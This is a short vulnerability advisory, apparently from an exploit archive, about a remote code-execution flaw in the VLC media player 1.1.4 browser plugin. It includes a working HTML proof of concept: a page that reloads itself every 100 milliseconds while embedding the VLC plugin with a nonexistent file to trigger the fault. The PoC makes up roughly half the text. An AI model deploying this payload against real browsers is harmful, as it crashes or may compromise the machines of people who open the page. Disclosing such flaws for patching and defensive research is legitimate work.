source: https://www.securityfocus.com/bid/44211/info VLC media player is prone to a remote code-execution vulnerability. Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions. VLC media player 1.1.4 is vulnerable; other versions may also be affected. <html> <body onload="setTimeout('location.reload()', 100);"> <embed type="application/x-vlc-plugin" src="NonExistantFileName.avi"></embed> </body> </html>